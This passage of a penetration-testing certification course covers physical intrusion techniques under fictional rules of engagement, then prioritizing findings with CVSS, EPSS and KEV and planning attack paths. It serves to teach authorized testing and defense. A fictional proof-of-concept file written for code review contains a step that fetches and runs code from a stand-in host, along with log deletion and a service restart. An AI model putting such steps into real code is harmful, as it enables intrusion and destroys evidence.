Testers use it only on doors the ROE names, usually last, since an easier rung may already have answered the question. A sensible alternative is a spare cylinder of the same model tested on a table with the client watching, which risks no door and no alarm. The evidence is the cylinder's model, the time taken and the witness. Blaze notes that picking is generally non-destructive and may leave little external evidence, so defenders must catch what surrounds it: a door contact reporting an opening with no badge, a camera on the door, an alarm.
The fixes start with better cylinders, correctly installed, since Blaze stresses that security depends on both. NIST's control PE-3 adds key control: secure keys, inventory them, and change them when they are lost or their holders leave. Master keying has its own cost: Blaze showed that someone holding one ordinary key to a master-keyed lock can work out a master key, which he calls rights amplification, or privilege escalation. So keep the most sensitive rooms off the master key, and layer a reader, a door contact and a camera on them.

Original: GWirken Vector: Pbroks13 - CC BY-SA 3.0 - Wikimedia Commons

Original: Wapcaplet Vector: Pbroks13 - CC BY-SA 3.0 - Wikimedia Commons

Sohc4 - Public domain - Wikimedia Commons
The five techniques at a glance
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Site survey | Controls and routines are visible from outside | Notebook, camera, floor plan, public maps | A stranger lingering or photographing | Patrols; cameras on doors; door-held alarms; challenge habit |
| USB drop | Helpful people connect found devices; computers accept new devices | Tracked USB flash drives with a harmless beacon | Event 6416; a new volume; a proxy hit; calls to the help desk | Device control; no Autorun; unneeded ports off; a place to hand in found media |
| Tailgating | A reader checks one card and nothing counts people; politeness | None | One grant, two people on camera; door-held alarm | Turnstile or access control vestibule; challenge habit |
| Badge cloning | A reader accepts an ID with no cryptographic proof | NFC/RFID cloning equipment such as Proxmark3 | One credential at distant doors; entries during leave; anti-passback alarm | Key-based cards and readers; PIN at sensitive doors; log review |
| Lock picking | Manufacturing tolerances in pin tumbler locks | Lock pick kit, where law and the ROE allow | Usually nothing at the lock; a door contact or camera | Better cylinders; key control; door contacts; no master key on sensitive rooms |
A worked decision: ruling on the Tern Harbor plan
Here is the reasoning in the shape of a performance-based question, using the Tern Harbor survey and these rules.
PHYSICAL RULES OF ENGAGEMENT (extract; fictional client)
Client: Tern Harbor Logistics, owner of Building A and Lot C
Signed by: Chief Operating Officer; letter carried by each tester
Window: Survey 2-4 March 2027; testing 9-11 March 2027,
07:00-19:00 America/Chicago; no entry outside the window
Allowed: Survey from public areas and the lobby, plus one escorted
walk of the second-floor corridor
Tailgating at Doors 2 and 3; stop at the first interior door
USB drops: 20 team drives, Lot C only, image beacon only
Badge copy: client-issued test badge TB-01 only; no employee
badge may be read
Excluded: Lock picks and bypass tools; force, damage, alarms
Contacts: Security Director and COO, 24-hour numbers tested 2 March
Ask four questions of each proposed action, in order: whose property is it, does the ROE name this technique here, is it inside the window, and will the result prove anything?
| Proposed action | Ruling | Reasoning |
|---|---|---|
| Follow an employee through Door 2 at 07:40 on 9 March | Go | Client's door, named technique, inside the window, and S1 says this is when it happens |
| Present a copy of TB-01 at Door 3 at 10:00 on 9 March | Go, but move it | S2 says the door is unlocked until 18:00, so success proves nothing. Run it at 18:30, under reader control and still inside the window |
| Read a badge on an employee's lanyard in the coffee shop across the road | No | No employee badge may be read, and the shop is not the client's property |
| Pick the cylinder on Room 2B | No | Lock picks are excluded. Report S4 as an observation and list it as not tested |
| Try Door 3 again at 19:30 | No | Outside the window, however convenient |
Two actions go, one of them at a new time, and three stop. Now change one input. While surveying the lobby on 2 March, the tester reads a sign: "Managed by Pier 9 Properties" (also fictional). The client confirms that Tern Harbor only leases floors 1 and 2, and that Pier 9 owns the building and runs the lobby, the loading dock and Lot C. Nothing in the signed paperwork has changed.
| Action | Before | After | Why it flipped |
|---|---|---|---|
| Survey of the lobby | Go | Stop; the view from the public street can continue | The lobby is Pier 9's |
| Tailgating at Door 2 | Go | Hold | The dock is Pier 9's |
| USB drops in Lot C | Go | Hold | The lot is Pier 9's, and other tenants' staff walk there |
| Copied badge at Door 3 | Go at 18:30 | Hold until the door and the route to it are shown to be leased space | The COO can authorize only what Tern Harbor controls |
The tester stops, calls the Security Director on the tested number, and asks the client to get Pier 9's written permission or shrink the scope. Anything left untested goes in the report's limitations. One sign changed four rulings, and it is Lesson 3's question in a different building.
Exam cues: telling the five apart
| The stem says | It points to | Do not confuse it with |
|---|---|---|
| Entrances, camera coverage, guard routines, before any entry | Site survey | A wireless site survey, which maps radio coverage |
| A device left where someone will find it | USB drop | A device the tester plants directly, a hardware addition |
| Presented nothing; one grant, two people on camera | Tailgating | Badge cloning, which presents a credential and adds a log entry |
| Same badge at two distant doors within minutes | A copied credential; anti-passback may catch it | Tailgating, which adds no entry at all |
| Fixed ID, 125 kHz, no challenge | A copyable proximity card | "13.56 MHz", which is not safe in itself |
| Only one person may pass per authentication | Access control vestibule or turnstile | Better cards or locks, which count nobody |
How physical findings are reported
Here is the entry for Door 3, written as you would for the fictional client.
- Title: After-hours staff entrance opens for a copied badge because readers accept 125 kHz proximity cards.
- Severity: High. A copy of any enrolled badge carries that person's access, copying needs no key or secret, and Door 3 leads to staff areas after the guard desk closes. It is not rated Critical because Room 2B has a separate lock and copying a real employee's badge was not tested under the ROE.
- Evidence: Controller export, 9 March 2027, 18:31 America/Chicago: ACCESS GRANTED, Door 3, credential TB-01, presented on team card TC-1 while the door was under reader control. Witnessed by the Security Director. Photo of the reader, with no people in it. No employee badge was read.
- Root cause: The access system trusts an ID sent unencrypted, with no cryptographic proof from the card and no second factor at the door.
- Remediation: Replace cards and readers with a family that proves possession of a key, and stop readers accepting 125 kHz when migration ends. Until then, require a PIN at Door 3 after hours, turn on anti-passback, and review logs for one credential at two doors. Retest with a new test badge.
Physical findings rarely have a Common Vulnerabilities and Exposures (CVE) entry, so state likelihood and impact in plain words (Lessons 14 and 28 cover scoring).
Report doors and rates, never names: "two of three attempts at Door 2 went unchallenged" describes a process, and naming the person who held the door punishes helpfulness. Give both bounds for a USB drop. List what was not tested, such as "Room 2B cylinder not picked, per ROE". Count every drive and copied badge back in.
If the logs show something you did not do, such as an employee's badge at two distant doors, call the client's contact that day, because it may be a real intruder (Lesson 27).
Common misconceptions
- "The study proves 98% of people plug in found drives." 98% of drives were removed and 45% had a file opened. The paper's estimate is the range between them.
- "A tempting label is what makes a drop work." "Confidential" drives were opened 50% of the time and blank drives 45% (p = 0.72).
- "A stronger card stops tailgating." The second person presents no card. Only something that limits people per authentication stops it.
- "13.56 MHz badges cannot be cloned." MIFARE Classic runs at 13.56 MHz and was broken in 2008. Ask what the reader verifies.
Putting it together
- Tischer et al. dropped 297 drives at the University of Illinois in April 2015: 290 (98%) were removed and 135 (45%) had a file opened, so success is estimated at 45-98%, a ceiling and a floor. The first connection came in under six minutes; the median was 6.9 hours.
- Labels such as "confidential" did not beat blank drives; return-label drives fell to 29% against 45% (p = 0.10); 68% of survey respondents said they wanted to return the drive.
- A site survey reads perimeter, entrances, cameras, guards and habits, usually over at least two or three days. It is not a wireless site survey.
- Tailgating works because a reader checks a card and nothing counts people. Its signature is one grant and two people on camera; a vestibule or turnstile stops it and a better card does not.
- Badge cloning works when the reader accepts an ID with no cryptographic proof. A 125 kHz proximity card sends the same unencrypted data every time, MIFARE Classic was broken in 2008, and reading a card cannot copy a private key.
- Lock picking exploits manufacturing tolerances to reach the state a key creates at the shear line. It leaves little trace, so detection comes from door contacts and cameras; the fixes are better cylinders and key control.
- A physical ROE names the owner of every building, each technique door by door, the window with its time zone, and tested 24-hour contacts. Carrying picks can itself be evidence of intent, as in Virginia.
- Physical findings report doors and rates, not names, give both bounds for a USB drop, and list untested items as limitations.
Sources
- Tischer, M., Durumeric, Z., Foster, S., Duan, S., Mori, A., Bursztein, E., and Bailey, M. (2016). Users really do plug in USB drives they find. In 2016 IEEE Symposium on Security and Privacy (pp. 306-319). IEEE. doi.org; author's copy (PDF)
- National Institute of Standards and Technology. Joint Task Force. (2020). Security and privacy controls for information systems and organizations (SP 800-53 Rev. 5; controls MP-7, PE-3, PE-6, PE-8, SC-41). PDF; Karygiannis, T., Eydt, B., Barber, G., Bunn, L., and Phillips, T. (2007). Guidelines for securing radio frequency identification (RFID) systems (SP 800-98). PDF; Ferraiolo, H., Mehta, K., Ghadiali, N., Mohler, J., Johnson, V., and Brady, S. (2018). Guidelines for the use of PIV credentials in facility access (SP 800-116 Rev. 1). PDF
- The PTES Team. (n.d.). Pre-engagement interactions (physical penetration test questions) and Intelligence gathering (on-location gathering). In Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pre-engagement; intelligence gathering
- The MITRE Corporation. (2025). Replication Through Removable Media (T1091, version 1.3) and Hardware Additions (T1200, version 1.7). MITRE ATT&CK. T1091; T1200
- Microsoft. (n.d.). 6416(S): A new external device was recognized by the System. Microsoft Learn. learn.microsoft.com
- Blaze, M. (2003). Rights amplification in master-keyed mechanical locks. IEEE Security and Privacy, 1(2), 24-32. doi.org
- Garcia, F. D., de Koning Gans, G., Muijrers, R., van Rossum, P., Verdult, R., Wichers Schreur, R., and Jacobs, B. (2008). Dismantling MIFARE Classic. In Computer Security: ESORICS 2008 (pp. 97-114). Springer. doi.org
- Sedivy, R. (2022, June 13). How secure is your access card? SecurityInfoWatch. securityinfowatch.com
- Kisi. (n.d.). Area anti-passback in access control. getkisi.com
- RFID Research Group. (n.d.). Iceman fork: Proxmark [Repository README]. GitHub. github.com
- Iowa Code section 713.7 (2026), Possession of burglar's tools. legis.iowa.gov (PDF); Code of Virginia section 18.2-94, Possession of burglarious tools. law.lis.virginia.gov
- CompTIA. (2024). CompTIA PenTest+ PT0-003 exam objectives (Version 5.0), objective 3.3 and sample hardware list. CompTIA (PDF)
- Key terms
- Site survey
- In physical testing, an inspection of a facility's perimeter, entrances, cameras, guards and staff habits, usually over several days, to find weaknesses before any entry attempt.
- USB drop
- Leaving USB devices where staff will find them, to test whether people connect them. A professional test carries only a harmless beacon, never malicious code.
- Tailgating (physical security)
- Following an authorized person through a controlled entry without presenting a credential. NIST treats piggybacking as the same activity.
- Badge cloning
- Reading the data on an access badge and programming another card or device to behave the same way, which works when the reader verifies no secret.
- Lock picking
- Opening a lock without its key by manipulating its internal parts, exploiting small manufacturing imperfections and mechanical tolerances.
- Pin tumbler lock
- A lock whose plug turns only when a key lifts every pin stack so that its cut lines up at the shear line between plug and shell.
- Proximity card
- A contactless access card, commonly at 125 kHz, that sends the same unencrypted data one way to the reader and can be copied easily.
- Radio-frequency identification
- RFID: technology in which a reader's radio signal lets a tag, often battery-free, reply with stored data; used in access badges, among much else.
- Access control vestibule
- A space between two interlocking doors that limits how many people pass per authentication, used to stop tailgating. It was once called a mantrap.
- Anti-passback
- An access-control rule that refuses or flags consecutive entries on one card with no recorded exit, which can expose a copied or shared badge.
Module 5: Attacks I: Planning (Domain 4, objective 4.1)
Turn findings into a prioritized plan with CVSS, EPSS and attack paths. Lessons on how attacks on networks, passwords, multifactor authentication, directories and federated identity work are still being written.
From Findings to a Plan: Prioritizing Targets and Preparing Attacks
- Read CVE, CWE, CVSS and EPSS descriptors, decode a CVSS vector, and explain what each label cannot tell you.
- Rank targets from scan output using high-value assets, reachability, end-of-life status, default configurations, running services, vulnerable encryption and defensive capabilities.
- Select tools and public exploits, analyze exploit code before use, and customize it within the rules of engagement.
- Document an attack path, low-level diagram and storyboard, and adjust them for dependencies, scope limitations and labeled sensitive systems.
A 5.3 that outranks a 10.0
Line 1 of the scanner export from Tallis Freight, a fictional logistics client, is a 10.0 on the Common Vulnerability Scoring System (CVSS), sitting on a test server. Line 640 is a 5.3 on a file server, with no Common Vulnerabilities and Exposures (CVE) number at all. The export runs to 1,412 lines and you have five working days, so most of it will never get your attention. Here you will put line 640 first, defend that choice, and then watch one email reverse it.
That is the skill behind objective 4.1: read output, decide what to go after, and prepare before anything runs. Lesson 8 ended with a three-link map to a payroll database in which every row was still a question; here that map becomes a prioritized plan. If TLS is rusty, the site's Security+ Certification Prep covers it.
Exam objectives: 4.1: target prioritization (high-value asset identification; the descriptors and metrics CVSS base score, CVE, CWE and EPSS; end-of-life software and systems; default configurations; running services; vulnerable encryption methods; defensive capabilities) and capability selection (tool selection; exploit selection and customization, including code analysis; documentation: attack path, low-level diagram creation and storyboard; dependencies; consideration of scope limitations; labeling sensitive systems).
Before you run anything
This is mostly reading and deciding, and the few commands scan only your own lab. Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Tallis Freight and its hosts are invented. The CVE records in its table are real, with scores read on 3 November 2026; some will have moved by the time you read this.
The task: six findings, five days, one rules-of-engagement extract
A performance-based question gives you evidence and asks for a decision. Here is the extract from the rules of engagement (ROE).
Goal: Can a person on the office network reach payroll data?
High value: PAY-DB01 (payroll), DC01 (domain controller)
Test position: 10.20.99.50, office VLAN 99
Window: Mon-Fri 08:00-18:00; no testing Thu 14:00-18:00 (payroll run)
Allowed: Read-only browsing of shares; one default-password attempt per device
Not allowed: Denial of service; anything that restarts a service; using a
found credential without a named test case in writing
Sensitive: HR-APP02, PAY-DB01: verification only, no exploitation
Authorization: Systems owned and run by Tallis Freight
Defenses: EDR in block mode on Windows servers; WAF in front of the payroll
portal PAYWEB; 24x7 SOC; no monitoring on VLAN 20
And the six export lines that matter, trimmed. EPSS and KEV are explained in Step 2.
| ID | Host and role | Finding | CVE / CWE | CVSS | EPSS | KEV |
|---|---|---|---|---|---|---|
| F1 | qa-sandbox-07, 10.20.60.7, QA test VM | Apache Log4j 2.14, reported by the client's patch agent; no route from VLAN 99 | CVE-2021-44228 / CWE-917 | 10.0 | 0.99999 | Yes |
| F2 | HR-APP02, 10.20.10.40, HR system on Windows Server 2012 R2 | Update MS17-010 appears to be missing | CVE-2017-0144 / none | 8.8 | 0.99 | Yes |
| F3 | MAIL02, 10.20.20.12, mail relay | Accepts SSLv2; same certificate as PAYWEB | CVE-2016-0800 / CWE-310 | 5.9 | 0.82 | No |
| F4 | FS01, 10.20.10.25, file server | Anonymous read of the Deploy share, which holds a configuration file naming the account svc_report | none / CWE-732 | 5.3, your score | none | none |
| F5 | PRINT03, 10.20.20.9, multifunction printer | Admin page open; default password untried; may store a scan-to-folder domain account | none / CWE-1392 | unscored | none | none |
| F6 | PAY-DB01, 10.20.30.15, payroll database | Client's listing shows svc_report can read reporting views; firewall allows port 1433 only from VLAN 10 | none | Info | none | none |
Your task: order the six for testing, and say what you would do and refuse to do on each. Write your order down before you read on.
Step 1: Name the high-value assets before you read a score
A high-value asset is a system or data set whose loss would hurt the client most. Start here, because a score describes a flaw and this step describes the business. Tallis's ROE names two, and such lists usually come from business impact analysis (Lesson 27). When the ROE names none, scan output offers hints. This pattern on one host means a domain controller, which controls every domain account:
53/tcp open domain
88/tcp open kerberos-sec
389/tcp open ldap
445/tcp open microsoft-ds
3268/tcp open globalcatLDAP
Port 1433, 1521, 3306 or 5432 suggests a database (SQL Server, Oracle by convention, MySQL, PostgreSQL). Names such as backup, vault, ca or ci suggest systems that unlock many others. Value can also come from reach: NSA and CISA warn that printers and scanners may hold privileged domain accounts for scanning to a shared drive, which makes F5's printer a possible route to the whole domain. Confirm these leads with the asset owner, because a host named PAYROLL-OLD may be empty. Then give every finding one question: does it bring you closer to PAY-DB01 or DC01?
Step 2: Read the descriptors: CVE, CWE, CVSS and EPSS
| Label | Question it answers | What it cannot tell you |
|---|---|---|
| CVE | Which exact flaw? | How bad it is, or whether your client has it |
| CWE | What kind of mistake? | Which product or host |
| CVSS | How severe, in principle? | Whether anyone attacks it; your environment, unless you add it |
| EPSS | How likely is exploitation activity in the next 30 days? | How much damage; whether it applies to you |
Common Vulnerabilities and Exposures gives each publicly disclosed flaw one record, written CVE, a year, and four or more digits. The year is not a publication date: CVE-2011-2523, the backdoored vsftpd 2.3.4 behind the banner in Lesson 7, was published in November 2019. Read a record's conditions too: that one covers only copies downloaded from 30 June to 3 July 2011, so a version string alone does not prove it. A misconfigured share on one client's server is not a product flaw, so it gets no CVE, and a CVE-sorted export buries F4 and F5.
Common Weakness Enumeration (CWE) is a community-developed list of the kinds of mistake behind vulnerabilities. A CVE is one instance; a CWE is the class. CWE-1392 is Use of Default Credentials, CWE-732 is Incorrect Permission Assignment for Critical Resource, and the 2025 Top 25 ranks cross-site scripting (CWE-79) first. A CWE names the root cause when there is no CVE.
The Common Vulnerability Scoring System rates severity from 0 to 10. The Forum of Incident Response and Security Teams (FIRST) owns it. FIRST says CVSS is currently at version 4.0, published in November 2023, but many records still show version 3.1, so expect either. The objective names the base score: the flaw's own characteristics, constant over time and across environments. Both versions share these bands: None 0.0, Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0. Here is the vector NIST's National Vulnerability Database (NVD) gives CVE-2011-2523, which scores 9.8:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| Metric | Question | Values |
|---|---|---|
| AV, Attack Vector | From where? | N network, A adjacent, L local, P physical |
| AC, Attack Complexity | Conditions outside the attacker's control? | L low, H high |
| PR, Privileges Required | What account first? | N none, L low, H high |
| UI, User Interaction | Must someone else act? | N none, R required |
| S, Scope | Does impact reach past the vulnerable component? | U unchanged, C changed |
| C, I, A | Loss of confidentiality, integrity, availability | H high, L low, N none |
So: across a network, with no special conditions, no account and nobody's help, an attacker causes total loss of all three. When there is no CVE, you score the finding yourself. F4 is reached over the network (AV:N), with nothing special needed (AC:L), no account (PR:N) and no help (UI:N), and the effect stays on that server (S:U). Anonymous users can read one share, so confidentiality loss is partial (C:L), with no write or outage (I:N, A:N). FIRST's formula gives 5.3. Change the inputs and watch it move:
| Vector for F4 | What would make it true | Score |
|---|---|---|
| AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N | One share is readable | 5.3 Medium |
| C:L becomes C:H | Everything on the server is readable | 7.5 High |
| C:H, and PR:N becomes PR:L | Reading needs any domain account | 6.5 Medium |
| C:H and I:H, with PR:N | Anonymous users can also write everything | 9.1 Critical |
Version 3.1 has Base, Temporal and Environmental metric groups; 4.0 has Base, Threat, Environmental and Supplemental. Version 4.0 removes Scope, scoring impact on the vulnerable system (VC, VI, VA) and on subsequent systems (SC, SI, SA) instead, and adds Attack Requirements (AT).
Scores are labeled by what went into them: CVSS-B (base), CVSS-BT (plus threat), CVSS-BE (plus environmental), CVSS-BTE (all three).
The base calculation assumes the worst case for threat until told otherwise: FIRST's calculator code gives the 9.8 flaw CVSS-B 9.3, then 8.9 with proof-of-concept exploit maturity (E:P) and 8.1 with no known exploit (E:U). FIRST's FAQ is blunt: "CVSS-B Base scores are not risk."
Check who scored a record, and when. CVE-2007-2447 in Samba has only an old version 2 score of 6.0 in NVD, not comparable with a 3.1 number. And since 15 April 2026 NVD prioritizes only certain CVEs for analysis. It no longer routinely adds its own score where the CVE's publisher gave one. So a blank NVD score does not mean nobody scored it. Read the CVE record too.
The Exploit Prediction Scoring System (EPSS) asks a different question: how likely is it that exploitation activity for this CVE will be observed in the next 30 days? A machine-learning model re-scores every CVE daily; version 5 began on 15 June 2026. It is free, with no account, from FIRST's API. F2's CVE on 3 November 2026 read:
{"cve":"CVE-2017-0144","epss":"0.992300000","percentile":"0.999360000","date":"2026-11-03"}
The first number is a probability of about 99 percent. The second is a rank, above 99.9 percent of scored CVEs. Exploitation is rare, so scores cluster near zero: of 399,388 CVEs scored that day, the median was 0.006, and 0.10 sat near the 96th percentile, so a 10 percent score is a high rank. FIRST defines no High or Critical bands, says the often-quoted 0.10 cutoff has no special authority, and warns against multiplying EPSS by CVSS, because a probability times an uncalibrated ranking means nothing. And it cannot know whether the flaw is present, reachable or consequential at Tallis.
Beside these sits CISA's Known Exploited Vulnerabilities (KEV) catalog, 1,767 entries on 3 November 2026. KEV is a record and EPSS a forecast; when they disagree, FIRST says follow KEV. Since June 2026, CISA's Binding Operational Directive 26-04 has US federal agencies set patch deadlines from four questions:
- Is the asset publicly exposed?
- Is the flaw in KEV?
- Can an attacker automate it?
- Does it give partial or total control?
CISA notes they are no longer required to use CVSS for prioritization.
Worth holding on to: CVE names the flaw, CWE names the kind of mistake, CVSS rates how bad it is in principle, EPSS forecasts attack activity, and KEV records attacks already seen. None of them knows anything about Tallis Freight.
Step 3: Check what the scores cannot see
End-of-life software and systems. When a vendor stops issuing fixes, each new flaw stays open for good and remediation means replacement. Microsoft's extended support for Windows Server 2012 and 2012 R2 ended on 10 October 2023 and its paid Extended Security Updates on 13 October 2026, so F2's host now gets no fixes at all. Your evidence is a banner or OS fingerprint checked against the vendor's lifecycle page. A short findings list on such a host proves little, because nobody publishes fixes for it, and such systems are fragile, so plan gentler checks.
Default configurations. NSA and CISA put these first on their 2023 list of the top ten misconfigurations their teams find: built-in passwords on devices such as printers and cameras, and insecure default service settings. A default password works because the manual is public. Your evidence is the model on the admin page plus that manual, and you go only as far as the ROE allows. Defenders see at most one login in the device's log. The fix is changing credentials at installation (CWE-1392).
Running services. Every listening service is code accepting input from whoever connects. Compare each host's job with its ports, using the version scan from Lesson 7. Telnet on a file server, a database open to the office VLAN, or a service nobody can explain, like distccd on port 3632 of your Metasploitable VM, is a lead before any CVE is matched. A service running as root or SYSTEM raises the stakes, and removing an unneeded one is often the cheapest fix in a report.
Defensive capabilities. These are intrusion detection and prevention systems, endpoint detection and response (EDR), web application firewalls (WAFs) and the security operations center (SOC). You learn of them from the client's briefing and from enumeration such as Lesson 8's WAF checks. They do not change what is vulnerable; they change who gets alerted, which tool gets blocked, and who must be told first.
So agree whether detection is being tested. An emulation of an advanced persistent threat (APT) may keep the SOC in the dark and follow one group's known behavior. A test like this one usually gives the SOC your source address and window, which is called deconfliction.
If EDR blocks a tool, stop and report a working control. A block is not a fix, since a WAF leaves the flaw behind it. A gap is a finding: nothing watches VLAN 20. Altering a tool so defenses miss it needs explicit permission, and this course does not teach it.
Vulnerable encryption methods: reading a cipher suite, and the DROWN attack
Weak encryption is rarely a first move, but it is often a finding. A TLS cipher suite name is a list of parts:
| Part | TLS_RSA_WITH_AES_128_CBC_SHA | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 | Why it matters |
|---|---|---|---|
| Key exchange | RSA (Rivest, Shamir, Adleman): the session key is sent encrypted to the server's long-term key | ECDHE (Elliptic Curve Diffie-Hellman Ephemeral): fresh keys every session | With RSA transport, a stolen server key decrypts recorded traffic. ECDHE gives forward secrecy |
| Cipher and mode | AES (Advanced Encryption Standard) in CBC, cipher block chaining, with integrity added separately | AES in GCM, Galois/Counter Mode, which authenticates as it encrypts | RFC 9325: no CBC unless encrypt-then-MAC is negotiated |
| Hash | SHA (Secure Hash Algorithm): HMAC with SHA-1 | SHA-256, for key derivation | SHA-1 signatures are a separate, deprecated matter |
| RFC 9325 says | Should not be negotiated | Recommended |
The same guidance forbids negotiating SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1 and RC4, and requires at least 2048 bits for classic Diffie-Hellman (DH) groups. Check the public key infrastructure (PKI) too, meaning the certificates and the authorities behind them: SHA-1 signatures, expired or self-signed certificates, one certificate reused across hosts. Nmap's ssl-enum-ciphers lists what a server accepts. Here is sample output for the fictional PAYWEB, trimmed:
443/tcp open https
| ssl-enum-ciphers:
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
| TLSv1.2:
| ciphers:
| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|_ least strength: C
Notice the trap: an A beside a TLS_RSA suite under TLSv1.0. The grade weighs key exchange and cipher strength, not the hash or the protocol version, so read the version lines yourself. The script is also in Nmap's intrusive category because it opens many connections, so check the ROE.
Now F3. DROWN, Decrypting RSA with Obsolete and Weakened eNcryption (CVE-2016-0800), showed in March 2016 that merely supporting SSLv2 can endanger modern TLS on another machine. An attacker records several hundred TLS sessions that used RSA key exchange, then sends crafted probes to any SSLv2 server holding the same private key, and its replies leak enough to decrypt a session.
In the researchers' general case, roughly 40,000 probes and about 250 computations decrypted one of 900 sessions, for about $440 of cloud time. So MAIL02's SSLv2 threatens PAYWEB, because both use one certificate. Defenders may see a burst of SSLv2 handshakes on the relay, if anything logs them.
The fix: disable SSLv2 everywhere, stop sharing keys between services, and prefer ECDHE. CVSS gives it 5.9 because attack complexity is high.
To prove the precondition, compare each host's ssl-cert output and run sslv2, both in the safe category. Try this in your lab: sudo nmap --script sslv2,ssl-cert -p 25 192.168.56.102. Published scans of Metasploitable 2 lead you to expect SSLv2 supported above a list of old ciphers.

Fleshgrinder and The People from The Tango! Desktop Project . - Public domain - Wikimedia Commons

Original schema: A.J. Vinck, University of Duisburg-Essen SVG... - Public domain - Wikimedia Commons

MartinThoma - CC BY 3.0 - Wikimedia Commons

NIST - CC0 - Wikimedia Commons
Step 4: Put the list in order
Apply five questions in this order, with severity as the tie-breaker.
- Is it in scope, and can you reach it from your test position?
- Is it on a route to a high-value asset?
- Is there evidence of real-world attack: KEV, or a high EPSS?
- What does the ROE let you do there, and can you prove it safely?
- Only now: how severe, and how long will it take?
| Order | Finding | Why here | You will, and you will not |
|---|---|---|---|
| 1 | F4, FS01 | Reachable; first link to payroll; allowed; nothing else on the route can start without it | Browse read-only and record file names. Do not use any value you find |
| 2 | F6, PAY-DB01 | The goal itself, but it depends on F4 and is labeled sensitive | Ask for a named test case and a position in VLAN 10. No payroll rows |
| 3 | F5, PRINT03 | A second route, toward DC01; cheap; on the unmonitored VLAN | One browser attempt; see whether a domain account is stored. Do not extract it |
| 4 | F2, HR-APP02 | In KEV, 0.99 and unsupported, but off the route and verification only | Run a safe detection script. Do not exploit |
| 5 | F3, MAIL02, PAYWEB | A real weakness near payroll, but abuse needs long capture the ROE does not cover | Prove SSLv2 and the shared certificate. Do not attempt decryption |
| 6 | F1, qa-sandbox-07 | 10.0 and in KEV, but no route and no payroll data | Report from the client's data. Spend no test hours |
Testing order is not severity order. All six go in the report, and F1 and F2 get a same-day note to the client, because a KEV-listed flaw should not wait until Friday. Put F1 first and you skipped question 1.
Worth holding on to: scores rank flaws for the whole world, and your job is to rank them for one client's goal, from one position, under one set of rules. A low-scored finding on the route beats a high-scored one you cannot reach.
Step 5: Choose the tools and the exploit, and read the code first
Tool selection: pick the least intrusive tool that answers the plan's question.
| Question | Choose | Rather than | Because |
|---|---|---|---|
| What can an anonymous user read on FS01? | smbclient | NetExec | One host needs no tool built for scale |
| Is MS17-010 missing on HR-APP02? | NSE smb-vuln-ms17-010 (vuln, safe) | A Metasploit exploit module | The label says verification only |
| Does the default password work on PRINT03? | A browser and the vendor manual | Hydra | One attempt is allowed; a guesser exists to make many |
| SSLv2 and one key on MAIL02 and PAYWEB? | NSE sslv2, ssl-cert | sslv2-drown (intrusive, vuln) | They prove the precondition without probing |
Exploit selection comes after Lesson 12's check that a public exploit matches the target. Now ask three more things. Does a safe check prove the point without it? What does it leave behind: files, accounts, a crashed service? And how reliable is it? Metasploit's ranks run from Excellent ("will never crash the service") through Great, Good, Normal and Average to Low and Manual. Its module for CVE-2017-0144 is ranked Average: generally unreliable or difficult, succeeding at least half the time on common platforms. On an unsupported HR server, that settles it.
Customization means changing a public exploit so it does only what you are allowed to do. That can mean pointing it at the approved address, removing a destructive step, or replacing its final action with a harmless proof the client agreed to, such as a marker file. Record every change.
Code analysis comes first: you read every line before anything runs. A study of 47,285 GitHub repositories of proof-of-concept exploits found indicators of malicious intent in 899, or 1.9 percent, such as calls to malicious addresses and encoded malicious code. This fictional file does nothing and names no real flaw. Find the problems before reading on.
# poc.py : fictional, for review practice only
TARGET = "203.0.113.40" # hard-coded address
UPDATES = "files.example.net" # a host nobody on your team controls
BLOB = "[long encoded string removed]"
def run(target):
stage = decode(BLOB) # what does this do? you cannot tell yet
send(target, stage)
fetch(UPDATES, "next_stage") # pulls and runs more code from elsewhere
delete_logs(target) # destroys the client's evidence
restart_service(target) # an outage, and the ROE forbids it
The hard-coded target could hit someone else's system, which is how a careless run becomes a crime. The blob must be decoded and understood. The remote fetch runs unknown code inside your client's network. The last two steps come out: they harm the client and destroy evidence. Then try your edited copy on an isolated copy of the target, and keep the file and its sha256sum with your evidence.

Microsoft - Public domain - Wikimedia Commons
Step 6: Write it down: attack path, low-level diagram, storyboard
The attack path is the route. Here is Lesson 8's map, now in priority order with a stop condition on every link. Every row is still a question.
| Order | Link | Test must show | Permission and stop condition |
|---|---|---|---|
| 1 | Office VLAN to the Deploy share on FS01 | Whether files can be read | Read-only allowed; on personal data, stop and note the file name only |
| 2 | Deploy share to a configuration file naming svc_report | Whether the credential is live | No use without a named test case in writing |
| 3 | svc_report, from VLAN 10, to reporting views on PAY-DB01 | Whether that account can reach the views | Named test case; one read-only row count; otherwise stop and report |
| Alternate | PRINT03 default password to a stored domain account | Whether the password works and an account is stored | One attempt; do not extract or use the account |
A low-level diagram shows the actual hosts, addresses, ports, VLANs, rules and labels, where a high-level one shows only zones such as "office" and "finance". Draw it from your scans and the client's firewall export.
VLAN 99 office tester 10.20.99.50
|
core-fw 10.20.99.1
99 -> 10 tcp/53,88,389,445 10 -> 30 tcp/1433
99 -> 20 tcp/25,80,443 99 -> 30 deny
99 -> 60 deny
|
VLAN 10 servers VLAN 20 services (no monitoring)
FS01 .25 445 PRINT03 .9 80,443
DC01 .5 53,88,389,445 [HIGH] MAIL02 .12 25
HR-APP02 .40 445 [SENSITIVE] [EOL] PAYWEB .30 443 via WAF
VLAN 30 finance VLAN 60 QA
PAY-DB01 .15 1433 [SENSITIVE] [HIGH] qa-sandbox-07 .7 8080
This one drawing explains why PAY-DB01 cannot be reached directly, why F1 is out of reach, and why link 3 needs a position in VLAN 10.
The storyboard is the sequence in time. The objectives list the word without defining it, and no standard does. So take this working sense: an ordered plan of what happens when, what evidence you expect, what aborts each step, and who hears about it.
| When | Step | Evidence | Abort if | Tell |
|---|---|---|---|---|
